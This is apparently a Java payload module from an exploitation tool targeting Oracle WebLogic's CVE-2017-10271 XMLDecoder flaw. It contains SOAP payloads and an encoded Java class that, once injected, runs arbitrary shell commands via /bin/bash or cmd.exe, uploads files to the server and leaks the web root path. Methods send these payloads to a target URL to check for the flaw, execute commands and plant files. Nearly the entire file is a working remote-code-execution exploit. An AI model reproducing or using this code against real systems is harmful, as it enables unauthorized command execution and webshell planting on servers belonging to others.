/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
package com.js.codeexec.paylaod;

import com.js.codeexec.tools.Base64Utils;
import com.js.codeexec.tools.HttpTool;
import java.util.Random;

/**
 *
 * @author shack2
 */
public class CVE_2017_10271_12 implements BasePayload {
    private static final String CheckStr="xml_test_ok"; 
    private static final String VULURL="/wls-wsat/CoordinatorPortType";
    private static final String FileAbsPath="/wls-wsat/"; 
    //private static final String HexAPIClass="0xcafebabe000000330112070002010020636f6d2f737570657265616d2f6578706c6f6974732f586d6c415049546573740700040100106a6176612f6c616e672f4f626a656374010001620100274c7765626c6f6769632f7574696c732f656e636f646572732f4241534536344465636f6465723b0100083c636c696e69743e010003282956010004436f646507000b0100257765626c6f6769632f7574696c732f656e636f646572732f4241534536344465636f6465720a000a000d0c000e00080100063c696e69743e09000100100c0005000601000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650a0003000d010004746869730100224c636f6d2f737570657265616d2f6578706c6f6974732f586d6c415049546573743b0100076765745061746801001428294c6a6176612f6c616e672f537472696e673b0a000100190c001a001b01001867657448747470436f6e6e656374696f6e48616e646c657201003328294c7765626c6f6769632f736572766c65742f696e7465726e616c2f48747470436f6e6e656374696f6e48616e646c65723b0a001d001f07001e01002f7765626c6f6769632f736572766c65742f696e7465726e616c2f48747470436f6e6e656374696f6e48616e646c65720c00200021010011676574536572766c65745265717565737401003028294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c3b0a0023002507002401002c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c0c0026002701000a676574436f6e7465787401003228294c7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578743b0700290100176a6176612f6c616e672f537472696e674275696c6465720a002b002d07002c01002e7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578740c002e002f01000e676574526f6f7454656d7044697201001028294c6a6176612f696f2f46696c653b0a0031003307003201000c6a6176612f696f2f46696c650c0034001701000f6765744162736f6c757465506174680a003600380700370100106a6176612f6c616e672f537472696e670c0039003a01000776616c75654f66010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f537472696e673b0a0028003c0c000e003d010015284c6a6176612f6c616e672f537472696e673b295608003f0100052f7761722f0a002800410c00420043010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0a002800450c00460017010008746f537472696e6708004801000007004a0100136a6176612f6c616e672f457863657074696f6e01001568747470436f6e6e656374696f6e48616e646c65720100314c7765626c6f6769632f736572766c65742f696e7465726e616c2f48747470436f6e6e656374696f6e48616e646c65723b010014776562417070536572766c6574436f6e746578740100304c7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578743b01000d537461636b4d61705461626c650a005100530700520100106a6176612f6c616e672f5468726561640c0054005501000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b07005701001b7765626c6f6769632f776f726b2f457865637574655468726561640a005600590c005a005b01000e67657443757272656e74576f726b01001d28294c7765626c6f6769632f776f726b2f576f726b416461707465723b0a0003005d0c005e005f010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b080061010011636f6e6e656374696f6e48616e646c65720a0063006507006401000f6a6176612f6c616e672f436c6173730c006600670100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0a0069006b07006a0100176a6176612f6c616e672f7265666c6563742f4669656c640c006c006d01000d73657441636365737369626c65010004285a29560a0069006f0c00700071010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000d6578656375746554687265616401001d4c7765626c6f6769632f776f726b2f457865637574655468726561643b01000b776f726b4164617074657201001b4c7765626c6f6769632f776f726b2f576f726b416461707465723b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c6261736536344465636f6465010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0a000a007b0c007c007d01000c6465636f6465427566666572010016284c6a6176612f6c616e672f537472696e673b295b4208007f0100055554462d380a003600810c000e0082010017285b424c6a6176612f6c616e672f537472696e673b29560700840100136a6176612f696f2f494f457863657074696f6e0100037374720100124c6a6176612f6c616e672f537472696e673b0100106261736536344465636f646542797465010012676574536572766c6574526573706f6e736501003128294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b0a0023008b0c008c008901000b676574526573706f6e7365010008726573706f6e736501002f4c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b07009001002d7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c0100047061746801000a457863657074696f6e730a000100940c008800890a008f00960c0097009801000967657457726974657201001728294c6a6176612f696f2f5072696e745772697465723b0a0001009a0c001600170a009c009e07009d0100136a6176612f696f2f5072696e745772697465720c009f003d0100057072696e7401000275700800a20100013a0a003600a40c00a500a601000573706c6974010027284c6a6176612f6c616e672f537472696e673b295b4c6a6176612f6c616e672f537472696e673b0a000100a80c007800790800910a003600ab0c00ac00ad010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0a000100af0c0087007d0a00b100b30700b20100187765626c6f6769632f7574696c732f46696c655574696c730c00b4008201000b7772697465546f46696c650800b601000b786d6c5f746573745f6f6b010005626461746101000564617461730100135b4c6a6176612f6c616e672f537472696e673b0100026f70010004646174610100025b420700b90100037361790a003600c00c00c100170100047472696d0a003600c30c00c400c50100066c656e6774680100032829490800c701000677686f616d690800c90100076f732e6e616d650a00cb00cd0700cc0100106a6176612f6c616e672f53797374656d0c00ce007901000b67657450726f70657274790a003600d00c00d1001701000b746f4c6f776572436173650800d301000377696e0a003600d50c00d600d7010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0700d90100136a6176612f7574696c2f41727261794c6973740a00d8000d0800dc0100092f62696e2f626173680a00d800de0c00df00ad0100036164640800e10100022d630800e3010007636d642e6578650800e50100022f630700e70100186a6176612f6c616e672f50726f636573734275696c6465720a00e600e90c000e00ea010013284c6a6176612f7574696c2f4c6973743b29560a00e600ec0c00ed00ee01001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b0a00e600f00c00f100f2010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0a008f00f40c00f500f6010016676574536572766c65744f757470757453747265616d01003528294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c3b0a00f800fa0700f90100116a6176612f6c616e672f50726f636573730c00fb00fc01000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0a00fe01000700ff0100317765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c0c0101010201000b777269746553747265616d010018284c6a6176612f696f2f496e70757453747265616d3b29560a009c01040c01050008010005666c757368010003636d6401000769734c696e75780100015a0100056f73547970010004636d64730100154c6a6176612f7574696c2f41727261794c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b01000a536f7572636546696c6501000f586d6c415049546573742e6a61766100210001000300000001000a000500060000000b000800070008000100090000002b000200000000000bbb000a59b7000cb3000fb10000000200110000000600010000002c00120000000200000001000e0008000100090000002f00010001000000052ab70013b10000000200110000000600010000000e00120000000c0001000000050014001500000002001600170001000900000096000300030000002f2ab700184c2bc600262bb6001cb600224dbb0028592cb6002ab60030b80035b7003b123eb60040b60044b04c1247b000010000002a002b0049000300110000001a000600000011000500120009001300110014002b0017002c001a00120000002000030000002f00140015000000050026004b004c00010011001a004d004e0002004f0000000700026b070049000002001a001b00010009000000a4000200040000002bb80050c000564c2bb600584d2cb6005c1260b600624e2dc600122d04b600682d2cb6006ec0001db04c01b000010000002700280049000300110000002200080000001f00070020000c002100160022001a0023001f0024002800260029002a00120000002a00040000002b00140015000000070021007200730001000c001c00740075000200160012007600770003004f000000070002680700490000020078007900010009000000650004000300000015bb003659b2000f2bb6007a127eb70080b04d1247b000010000001000110083000300110000000e00030000002f001100300012003200120000001600020000001500140015000000000015008500860001004f0000000600015107008300020087007d000100090000005b000200030000000bb2000f2bb6007ab04d01b000010000000700080083000300110000000e000300000036000800370009003900120000001600020000000b0014001500000000000b008500860001004f0000000600014807008300020088008900010009000000740001000300000015014c2ab700184d2cc6000b2cb6001cb6008a4c2bb00000000300110000001600050000003d0002003e0007003f000b00410013004300120000002000030000001500140015000000020013008d008e00010007000e004b004c0002004f0000000b0001fd001307008f07001d00010091000800020092000000040001004900090000003d000200010000000f2ab70093b600952ab70099b6009bb10000000200110000000a000200000047000e004800120000000c00010000000f0014001500000001009f003d000200920000000400010049000900000044000200020000000c2ab70093b600952bb6009bb10000000200110000000a00020000004b000b004c00120000001600020000000c0014001500000000000c008500860001000100a0003d0002009200000004000100490009000000e200030006000000522b12a1b600a34d2c03324e2a2c0432b700a73a0412a92db600aa9a001bbb0028592ab70099b80035b7003b1904b60040b600443a042a2c0532b700ae3a0519051904b800b02ab70093b6009512b5b6009bb10000000300110000002600090000004f00070051000b005200140053001d005500350057003e0058004500590051005a00120000003e0006000000520014001500000000005200b7008600010007004b00b800b90002000b004700ba008600030014003e009100860004003e001400bb00bc0005004f0000000e0001fe00350700bd070036070036000100be003d00020092000000040001004900090000018600030008000000a62a2bb700a74c2bc6000d2bb600bfb600c29a000612c64c043d12c8b800ca4e2dc600112db600cf12d2b600d4990005033dbb00d859b700da3a041c99001d190412dbb600dd57190412e0b600dd5719042bb600dd57a7001a190412e2b600dd57190412e4b600dd5719042bb600dd57bb00e6591904b700e83a05190504b600eb571905b600ef3a062ab700933a071907b600f31906b600f7b600fd2ab70093b60095b60103b10000000300110000005e00170000005e0006005f001400600017006200190063001f0064002f006500310068003a0069003e006a0046006b004e006c0055006d0058006e0060006f00680070006f0072007a00730081007400880075008e0076009b007700a500780012000000520008000000a6001400150000000000a60106008600010019008d010701080002001f0087010900860003003a006c010a010b0004007a002c010c010d00050088001e010e010f0006008e0018008d008e0007004f0000001200051402fd001901070036fc00260700d81600010110000000020111";
    private static final String Base64APIClass="yv66vgAAADIBEgcAAgEAIGNvbS9zdXBlcmVhbS9leHBsb2l0cy9YbWxBUElUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEAAWIBACdMd2VibG9naWMvdXRpbHMvZW5jb2RlcnMvQkFTRTY0RGVjb2RlcjsBAAg8Y2xpbml0PgEAAygpVgEABENvZGUHAAsBACV3ZWJsb2dpYy91dGlscy9lbmNvZGVycy9CQVNFNjREZWNvZGVyCgAKAA0MAA4ACAEABjxpbml0PgkAAQAQDAAFAAYBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUKAAMADQEABHRoaXMBACJMY29tL3N1cGVyZWFtL2V4cGxvaXRzL1htbEFQSVRlc3Q7AQAHZ2V0UGF0aAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CgABABkMABoAGwEAGGdldEh0dHBDb25uZWN0aW9uSGFuZGxlcgEAMygpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvSHR0cENvbm5lY3Rpb25IYW5kbGVyOwoAHQAfBwAeAQAvd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9IdHRwQ29ubmVjdGlvbkhhbmRsZXIMACAAIQEAEWdldFNlcnZsZXRSZXF1ZXN0AQAwKClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVxdWVzdEltcGw7CgAjACUHACQBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAJgAnAQAKZ2V0Q29udGV4dAEAMigpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQ7BwApAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIKACsALQcALAEALndlYmxvZ2ljL3Nl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AuwC8AAUATwAAAA4AAf4ANQcAvQcANgcANgABAL4APQACAJIAAAAEAAEASQAJAAABhgADAAgAAACmKiu3AKdMK8YADSu2AL+2AMKaAAYSxkwEPRLIuADKTi3GABEttgDPEtK2ANSZAAUDPbsA2Fm3ANo6BByZAB0ZBBLbtgDdVxkEEuC2AN1XGQQrtgDdV6cAGhkEEuK2AN1XGQQS5LYA3VcZBCu2AN1XuwDmWRkEtwDoOgUZBQS2AOtXGQW2AO86Biq3AJM6BxkHtgDzGQa2APe2AP0qtwCTtgCVtgEDsQAAAAMAEQAAAF4AFwAAAF0ABgBeABQAXwAXAGEAGQBiAB8AYwAvAGQAMQBnADoAaAA+AGkARgBqAE4AawBVAGwAWABtAGAAbgBoAG8AbwBxAHoAcgCBAHMAiAB0AI4AdQCbAHYApQB3ABIAAABSAAgAAACmABQAFQAAAAAApgEGAIYAAQAZAI0BBwEIAAIAHwCHAQkAhgADADoAbAEKAQsABAB6ACwBDAENAAUAiAAeAQ4BDwAGAI4AGACNAI4ABwBPAAAAEgAFFAL9ABkBBwA2/AAmBwDYFgABARAAAAACARE=";
    
    
    private static String Check_VUL="<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
"    <soapenv:Header>\n" +
"        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n" +
"            <java>\n" +
"<void class=\"java.lang.Thread\" method=\"currentThread\">\n" +
"				<void method=\"getCurrentWork\" id=\"current_work\">\n" +
"					<void method=\"getClass\">\n" +
"						<void method=\"getDeclaredField\">\n" +
"							<string>connectionHandler</string>\n" +
"								<void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
"							<void method=\"get\">\n" +
"								<object idref=\"current_work\"></object>\n" +
"								<void method=\"getServletRequest\">\n" +
"									<void method=\"getResponse\">\n" +
"										<void method=\"getServletOutputStream\">\n" +
"											<void method=\"flush\"/>\n" +
"											</void>\n" +
"									<void method=\"getWriter\"><void method=\"write\"><string>"+CheckStr+"</string></void></void>\n" +
"									</void>\n" +
"								</void>\n" +
"							</void>\n" +
"						</void>\n" +
"					</void>\n" +
"				</void>\n" +
"			</void>\n" +
"            </java>\n" +
"        </work:WorkContext>\n" +
"    </soapenv:Header>\n" +
"    <soapenv:Body/>\n" +
"</soapenv:Envelope>";
    
    private static String VUL_CMD="<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
"    <soapenv:Header>\n" +
"        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n" +
"        <java>\n" +
"			<void class=\"sun.misc.BASE64Decoder\">\n" +
"				<void method=\"decodeBuffer\" id=\"byte_arr\"><string>"+Base64APIClass+"</string>\n" +
"				</void>\n" +
"			</void>\n" +
"			<void class=\"org.mozilla.classfile.DefiningClassLoader\">\n" +
"				<void method=\"defineClass\">\n" +
"					<string>com.supeream.exploits.XmlAPITest</string>\n" +
"					<object idref=\"byte_arr\"></object>\n" +
"					<void method=\"newInstance\">\n" +
"						<void method=\"say\" id=\"result\">\n" +
"							<string>%s</string>\n" +
"						</void>\n" +
"					</void>\n" +
"				</void>\n" +
"			</void>\n" +
"		</java>\n" +
"        </work:WorkContext>\n" +
"    </soapenv:Header>\n" +
"    <soapenv:Body/>\n" +
"</soapenv:Envelope>";
    
    private static Random  rand=new Random();
    
    private static String UploadFile_VUL_UserPath="<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
"    <soapenv:Header>\n" +
"        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n" +
"            <java>\n" +
"                <void class=\"sun.misc.BASE64Decoder\">\n" +
"				<void method=\"decodeBuffer\" id=\"byte_arr\"><string>"+Base64APIClass+"</string>\n" +
"				</void>\n" +
"			</void>\n" +
"                <void class=\"org.mozilla.classfile.DefiningClassLoader\">\n" +
"                    <void method=\"defineClass\">\n" +
"                        <string>com.supeream.exploits.XmlAPITest</string>\n" +
"                        <object idref=\"byte_arr\"></object>\n" +
"                        <void method=\"newInstance\">\n" +
"                            <void method=\"up\" id=\"proc\">\n" +
"                                <string>%s</string>\n" +
"                            </void>\n" +
"                        </void>\n" +
"                    </void>\n" +
"                </void>\n" +
"            </java>\n" +
"        </work:WorkContext>\n" +
"    </soapenv:Header>\n" +
"    <soapenv:Body/>\n" +
"</soapenv:Envelope>";
    private static String Path_VUL="<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
"    <soapenv:Header>\n" +
"        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n" +
"            <java>\n" +
"                <void class=\"sun.misc.BASE64Decoder\">\n" +
"				<void method=\"decodeBuffer\" id=\"byte_arr\"><string>"+Base64APIClass+"</string>\n" +
"				</void>\n" +
"			</void>\n" +
"                <void class=\"org.mozilla.classfile.DefiningClassLoader\">\n" +
"                    <void method=\"defineClass\">\n" +
"                        <string>com.supeream.exploits.XmlAPITest</string>\n" +
"                        <object idref=\"byte_arr\"></object>\n" +
"                        <void method=\"newInstance\">\n" +
"                            <void method=\"path\">\n" +
"                            </void>\n" +
"                        </void>\n" +
"                    </void>\n" +
"                </void>\n" +
"            </java>\n" +
"        </work:WorkContext>\n" +
"    </soapenv:Header>\n" +
"    <soapenv:Body/>\n" +
"</soapenv:Envelope>";
    
    
    @Override
    public boolean checkVUL(String url) throws Exception{ 
        try {
            String payload=String.format(Check_VUL,CheckStr);
            String result=HttpTool.postHttpReuestByXML(url+VULURL, payload,"UTF-8");
            if(CheckStr.equals(result)){
                    return true;
            }
        } catch (Exception e) {
           throw e;
        }
        return false;
        
    }

    @Override
    public String exeCMD(String url, String cmd,String encoding)  throws Exception{
        try {
           
            String payload=String.format(VUL_CMD, Base64Utils.encode(cmd));
            String result= HttpTool.postHttpReuestByXML(url+VULURL, payload,encoding);
            return result;
        } catch (Exception e) {
           throw e;
        }

    }

    @Override
    public String uploadFile(String url,String fileContent, String filename,boolean useUserPath) throws Exception{
         try {
           
            String op="path";
            String respath=filename;
            if(!useUserPath){
                op="file";
                respath=url+FileAbsPath+filename;
            }
            String payload=String.format(UploadFile_VUL_UserPath,op+":"+Base64Utils.encode(filename)+":"+Base64Utils.encode(fileContent));
            String result=HttpTool.postHttpReuestByXML(url+VULURL, payload,"UTF-8");
            if(CheckStr.equals(result)){
                return respath;
            }
            else{
                return "可能上传失败了！";
            }
        } catch (Exception e) {
           throw e;
        }
    }

    @Override
    public String getWebPath(String url) throws Exception {
        try {
            return HttpTool.postHttpReuestByXML(url+VULURL, Path_VUL,"UTF-8");
        } catch (Exception e) {
           throw e;
        }
    }
    
}